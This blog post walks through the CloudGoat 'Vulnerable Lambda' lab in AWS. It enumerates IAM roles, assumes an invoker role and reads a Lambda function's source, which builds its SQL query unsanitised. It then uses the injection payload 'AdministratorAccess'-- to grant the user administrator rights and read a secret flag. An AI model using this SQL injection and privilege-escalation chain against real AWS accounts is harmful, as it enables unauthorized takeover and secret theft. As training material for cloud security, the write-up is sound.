In this post, we’re going to walk through the first scenario of CloudGoat titled “Vulnerable Lambda”. If you don’t know what CloudGoat is or how to start using it, I recommend you check out my previous post to get started.
“Vulerable Lambda” is a gentle introduction to cloud penetration testing in AWS and only requires you to use the AWS CLI. If you’re not familiar with using the AWS CLI, don’t worry – practicing with these scenarios will get you comfortable with it in no time. I find the documentation a valuable resource for completing these.
In this scenario, we are given a user’s IAM access keys and are tasked with the goal of reading a secret flag. This requires us to enumerate the user’s permissions set and find that a couple of Lambda-related roles are available to us. One of the roles allows us to invoke Lambda functions, so we assume that role and check the functions that are available to it. After some analysis, a function available to the role is vulnerable to SQLi. We use the SQLi to our advantage and give our user administrator-level access. From here, it’s game over, as we are able to do anything within the AWS account, including listing out the flag in the Secrets Manager.
Listing and Assuming Roles
We’ll begin by checking the scenario’s start file and see that we have keys for a user named “bilbo”. We’ll copy them over to our AWS credentials file by adding them as a new profile so that we can use them with the AWS CLI.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat vulnerable_lambda_cgideltxm59o4d/start.txt
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_bilbo_access_key_id = AKIAIOSFODNN7EXAMPLE
cloudgoat_output_bilbo_secret_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
profile = default
scenario_cg_id = vulnerable_lambda_cgideltxm59o4d
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[bilbo]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Next, we want to discover the permissions the bilbo user has. A few roles are returned, but a couple of custom ones stand out in particular. Based off of their names, they look to be associated with Lambda functions.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ aws --profile bilbo iam list-roles
...SNIP...
{
"Path": "/",
"RoleName": "cg-lambda-invoker-vulnerable_lambda_cgideltxm59o4d",
"RoleId": "AROA3UTIROIQUQULBMN4G",
"Arn": "arn:aws:iam::[REDACTED]:role/cg-lambda-invoker-vulnerable_lambda_cgideltxm59o4d",
"CreateDate": "2022-10-06T15:07:34+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[REDACTED]:user/cg-bilbo-vulnerable_lambda_cgideltxm59o4d"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"RoleId": "AROA3UTIROIQ7RPOPBPGC",
"Arn": "arn:aws:iam::[REDACTED]:role/vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"CreateDate": "2022-10-06T15:07:17+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
]
}
Assume the lambda-invoker role by passing its ARN, which is given in the output from the previous command. This returns a set of credentials that can be used by the bilbo user to perform actions with elevated privileges as the lambda-invoker role.
While we could create another profile by adding the AccessKeyId, SecretAccessKey, and SessionToken to the credentials file, there is a simpler way of doing this by changing the config file. By adding these couple of lines, this tells the CLI to automatically get and use the lambda-invoker role credential set as bilbo when we use the lamba_invoker profile in our CLI commands.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ aws --profile bilbo sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/cg-lambda-invoker-vulnerable_lambda_cgideltxm59o4d --role-session-name mysession
{
"Credentials": {
"AccessKeyId": "ASIAIRTASDMM5EXAMPLE",
"SecretAccessKey": "eRlOaMBtn:LKWE/5TYDLK/bbrTweEXAMPLEKEY",
"SessionToken": "[REDACTED]",
"Expiration": "2022-10-06T16:38:34+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA3UTIROIQUQULBMN4G:mysession",
"Arn": "arn:aws:sts::[REDACTED]:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgideltxm59o4d/mysession"
}
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ vi ~/.aws/config
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat ~/.aws/config
[default]
...SNIP...
[profile lambda_invoker]
role_arn = arn:aws:sts::[REDACTED]:role/cg-lambda-invoker-vulnerable_lambda_cgideltxm59o4d
source_profile = bilbo
Enumerating and Examining Lambda Functions
With our new creds and config all lined up, we can go ahead and start looking at what Lambda functions we have available to us. We have to select a region, since Lambda is a region-based service. CloudGoat should provision resources to us-east-1 by default, so that’s where we will check.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ aws --profile lambda_invoker --region us-east-1 lambda list-functions
{
"Functions": [
{
"FunctionName": "vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:[REDACTED]:function:vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::[REDACTED]:role/vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 991559,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-10-06T15:07:28.423+0000",
"CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "ad239ba5-4664-4c76-ad63-f5269072c8f9",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
]
}
There is only one function at our disposal. Note its description, which says that we can use it to apply a policy to a user. We can use another CLI command to look at its Python code and better understand what it’s doing.
A really long URL for an S3 bucket is returned in the Code section of the output. We’ll copy and paste this link into our web browser so that it downloads the zip file for us.
A really long URL for an S3 bucket is returned in the Code section of the output. We’ll copy and paste this link into our web browser so that it downloads the zip file for us.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ aws --profile lambda_invoker --region us-east-1 lambda get-function --function-name vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1
{
"Configuration": {
"FunctionName": "vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:[REDACTED]:function:vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::[REDACTED]:role/vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 991559,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-10-06T15:07:28.423+0000",
"CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "ad239ba5-4664-4c76-ad63-f5269072c8f9",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/
... SNIP...
"
},
"Tags": {
"Name": "cg-vulnerable_lambda_cgideltxm59o4d",
"Scenario": "vulnerable-lambda",
"Stack": "CloudGoat"
}
}
By unzipping the package, we’ll take a look at the source code to find out what the function is doing under the hood.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ mv ~/Downloads/vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1-4741cbbe-8482-469f-b9dd-3f0f245d2e9c.zip .
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ unzip vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1-4741cbbe-8482-469f-b9dd-3f0f245d2e9c.zip
Archive: vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1-4741cbbe-8482-469f-b9dd-3f0f245d2e9c.zip
inflating: bin/dateadd
inflating: bin/datediff
inflating: bin/sqlite-utils
inflating: bin/tabulate
inflating: click/__init__.py
inflating: click/_compat.py
inflating: click/_termui_impl.py
inflating: click/_textwrap.py
inflating: click/_unicodefun.py
inflating: click/_winconsole.py
...SNIP...
inflating: tabulate.py
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ cat main.py
import boto3
from sqlite_utils import Database
db = Database("my_database.db")
iam_client = boto3.client('iam')
# db["policies"].insert_all([
# {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
# {"policy_name": "AdministratorAccess", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
if not statement_returns_valid_policy:
invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement
return "All managed policies were applied as expected."
if __name__ == "__main__":
payload = {
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
print(handler(payload, 'uselessinfo'))
There’s quite a few lines, so let’s break down what’s happening. The function takes a JSON payload that consists of a set of policy names and a username. Then, it applies these policy names to the user, but only if the “public” variable for that policy is set to True. We can see the set of policies that was added to the database in some comments in lines 8-16. The last one inserted, “AdministratorAccess”, sounds like what we want to use. Unfortunately, the “public” variable is set to False for this policy, so the function won’t allow us to assign this policy.
However, there still is a glimpse of hope! To the trained eye, line 26 looks like it may be easily SQL injectable with a single quote character. By crafting a specific payload, we may be able to bypass the “public” variable restriction and assign the admin policy to our user.
Invoking the Lambda Function and Abusing SQLi
Before we get into the SQLi, let’s make sure we can run the function as it’s intended. We’ll need our IAM username and to select one of the available policies. For the purposes of trying it out, we’ll try to assign the “AmazonRDSReadOnlyAccess” policy.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile bilbo iam list-users
{
"Users": [
{
"Path": "/",
"UserName": "Administrator",
"UserId": "AIDA3UTIROIQ47LAD2R72",
"Arn": "arn:aws:iam::[REDACTED]:user/Administrator",
"CreateDate": "2022-09-30T14:27:00+00:00",
"PasswordLastUsed": "2022-10-05T15:42:36+00:00"
},
{
"Path": "/",
"UserName": "cg-bilbo-vulnerable_lambda_cgideltxm59o4d",
"UserId": "AIDA3UTIROIQ7FI7QQ372",
"Arn": "arn:aws:iam::[REDACTED]:user/cg-bilbo-vulnerable_lambda_cgideltxm59o4d",
"CreateDate": "2022-10-06T15:07:17+00:00"
}
]
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile lambda_invoker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1 --payload '{"policy_names": ["AmazonRDSReadOnlyAccess"], "user_name": "cg-bilbo-vulnerable_lambda_cgideltxm59o4d"}' response.json
Invalid base64: "{"policy_names": ["AmazonRDSReadOnlyAccess"], "user_name": "cg-bilbo-vulnerable_lambda_cgideltxm59o4d"}"
Whoops, this error message says it’s expecting a base64 encoded payload. By default, the CLI command for invoking Lambda functions uses base64 encoded payloads, so let’s encode our payload and try again. Note that the slashes are necessary to help escape the quotes of the JSON payload when processing it with bash. We can decode the output to be sure it was processed how we want.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ echo "{\"policy_names\": [\"AmazonRDSReadOnlyAccess\"], \"user_name\": \"cg-bilbo-vulnerable_lambda_cgideltxm59o4d\"}" | base64
eyJwb2xpY3lfbmFtZXMiOiBbIkFtYXpvblJEU1JlYWRPbmx5QWNjZXNzIl0sICJ1c2VyX25hbWUi
OiAiY2ctYmlsYm8tdnVsbmVyYWJsZV9sYW1iZGFfY2dpZGVsdHhtNTlvNGQifQo=
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ echo "eyJwb2xpY3lfbmFtZXMiOiBbIkFtYXpvblJEU1JlYWRPbmx5QWNjZXNzIl0sICJ1c2VyX25hbWUi
OiAiY2ctYmlsYm8tdnVsbmVyYWJsZV9sYW1iZGFfY2dpZGVsdHhtNTlvNGQifQo=" | base64 -d
{"policy_names": ["AmazonRDSReadOnlyAccess"], "user_name": "cg-bilbo-vulnerable_lambda_cgideltxm59o4d"}
This looks good, so let’s pass it to the Lambda function. When we do, it returns an HTTP status code of 200 OK, but don’t be fooled by this. A response code of 200 OK means our API call was accepted and processed, but it doesn’t necessarily mean the Python function executed without errors. To look at that, we need to examine the response file named response.json. When we check that file, we see a success message stating that the policy was applied. We can further verify this by issuing another CLI command to check the policies that are attached to our user.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile lambda_invoker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1 --payload 'eyJwb2xpY3lfbmFtZXMiOiBbIkFtYXpvblJEU1JlYWRPbmx5QWNjZXNzIl0sICJ1c2VyX25hbWUiOiAiY2ctYmlsYm8tdnVsbmVyYWJsZV9sYW1iZGFfY2dpZGVsdHhtNTlvNGQifQo=' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ cat response.json
"All managed policies were applied as expected."
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgideltxm59o4d
{
"AttachedPolicies": [
{
"PolicyName": "AmazonRDSReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonRDSReadOnlyAccess"
}
]
}
Great, so the function is working as expected with the policies that we are allowed to assign. But like I said before, this isn’t necessarily all that exciting. We need AdministratorAccess to do anything fun and worthwhile. We can simply try to assign that policy to our user, but it the action gets denied.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ echo "{\"policy_names\": [\"AdministratorAccess\"], \"user_name\": \"cg-bilbo-vulnerable_lambda_cgideltxm59o4d\"}" | base64
eyJwb2xpY3lfbmFtZXMiOiBbIkFkbWluaXN0cmF0b3JBY2Nlc3MiXSwgInVzZXJfbmFtZSI6ICJj
Zy1iaWxiby12dWxuZXJhYmxlX2xhbWJkYV9jZ2lkZWx0eG01OW80ZCJ9Cg==
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile lambda_invoker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1 --payload 'eyJwb2xpY3lfbmFtZXMiOiBbIkFkbWluaXN0cmF0b3JBY2Nlc3MiXSwgInVzZXJfbmFtZSI6ICJjZy1iaWxiby12dWxuZXJhYmxlX2xhbWJkYV9jZ2lkZWx0eG01OW80ZCJ9Cg==' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ cat response.json
"AdministratorAccess is not an approved policy, please only choose from approved policies and don't cheat. :) "
As we can see in the response.json file, there’s an error message saying AdministratorAccess is not an approved policy and to not cheat. Well, that’s too bad because that’s what we’re going to do!
Time to break out our SQLi skills. Let’s revisit that line in the Python function that looks single quote injectable. The point of injection is the “policy” variable. The Python code formats the SQL statement with a policy name provided as user input and sends it off to the database without any input validation or sanitization. Because of this, we’re able to manipulate the SQL statement and what gets executed by the database.
We can infer that a policy name of “AdministratorAccess’–” will let us perform the action we want. This is because 1) the single quote closes the open quote already in place, making the statement syntactically correct, and 2) the hyphens designate a comment in the SQL language. This means that everything following these characters is a comment and gets ignored during runtime.
-- Original SQL query from the Python code
select policy_name from policies where policy_name='{policy}' and public='True'
-- SQL query constructed from our payload. Notice the part that gets commented out
select policy_name from policies where policy_name='AdministratorAccess'--' and public='True'
-- The statement above effectively gets executed like this in the context of the database
select policy_name from policies where policy_name='AdministratorAccess'
In conclusion, this means that the “public” variable gets completely ignored and whatever policy name we pass will get assigned to our user. Let’s try it out.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ echo "{\"policy_names\": [\"AdministratorAccess'--\"], \"user_name\": \"cg-bilbo-vulnerable_lambda_cgideltxm59o4d\"}" | base64
eyJwb2xpY3lfbmFtZXMiOiBbIkFkbWluaXN0cmF0b3JBY2Nlc3MnLS0iXSwgInVzZXJfbmFtZSI6
ICJjZy1iaWxiby12dWxuZXJhYmxlX2xhbWJkYV9jZ2lkZWx0eG01OW80ZCJ9Cg==
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile lambda_invoker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgideltxm59o4d-policy_applier_lambda1 --payload 'eyJwb2xpY3lfbmFtZXMiOiBbIkFkbWluaXN0cmF0b3JBY2Nlc3MnLS0iXSwgInVzZXJfbmFtZSI6ICJjZy1iaWxiby12dWxuZXJhYmxlX2xhbWJkYV9jZ2lkZWx0eG01OW80ZCJ9Cg==' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ cat response.json
"All managed policies were applied as expected."
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgideltxm59o4d
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "AmazonRDSReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonRDSReadOnlyAccess"
}
]
}
Awesome! Our SQLi payload worked and the function assigned the AdministratorAccess policy to our IAM user. With this, we can turn our focus to extracting secrets and getting the flag of this scenario.
Listing and Extracting Secrets
We’ll need to list out the secrets that are available to us to see what we’re dealing with. Then, using the secret name, we can retrieve its value.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile bilbo --region us-east-1 secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:[REDACTED]:secret:vulnerable_lambda_cgideltxm59o4d-final_flag-RJimL1",
"Name": "vulnerable_lambda_cgideltxm59o4d-final_flag",
"LastChangedDate": "2022-10-06T10:07:17.455000-05:00",
"LastAccessedDate": "2022-10-05T19:00:00-05:00",
"Tags": [
{
"Key": "Scenario",
"Value": "vulnerable-lambda"
},
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Name",
"Value": "cg-vulnerable_lambda_cgideltxm59o4d"
}
],
"SecretVersionsToStages": {
"88EFA6E1-A8B0-4B0F-AF64-45A45B349D65": [
"AWSCURRENT"
]
},
"CreatedDate": "2022-10-06T10:07:17.082000-05:00"
}
]
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/vulnerable_lambda]
└─$ aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id vulnerable_lambda_cgideltxm59o4d-final_flag
{
"ARN": "arn:aws:secretsmanager:us-east-1:[REDACTED]:secret:vulnerable_lambda_cgideltxm59o4d-final_flag-RJimL1",
"Name": "vulnerable_lambda_cgideltxm59o4d-final_flag",
"VersionId": "88EFA6E1-A8B0-4B0F-AF64-45A45B349D65",
"SecretString": "cg-secret-846237-284529",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2022-10-06T10:07:17.450000-05:00"
}
And just like that, we’ve completed the scenario! The flag can be found in the “SecretString” portion of the output.
I hope you enjoyed this scenario as much as I did. Keep an eye out for the next post in the series where we will continue with the next.
I hope you enjoyed this scenario as much as I did. Keep an eye out for the next post in the series where we will continue with the next.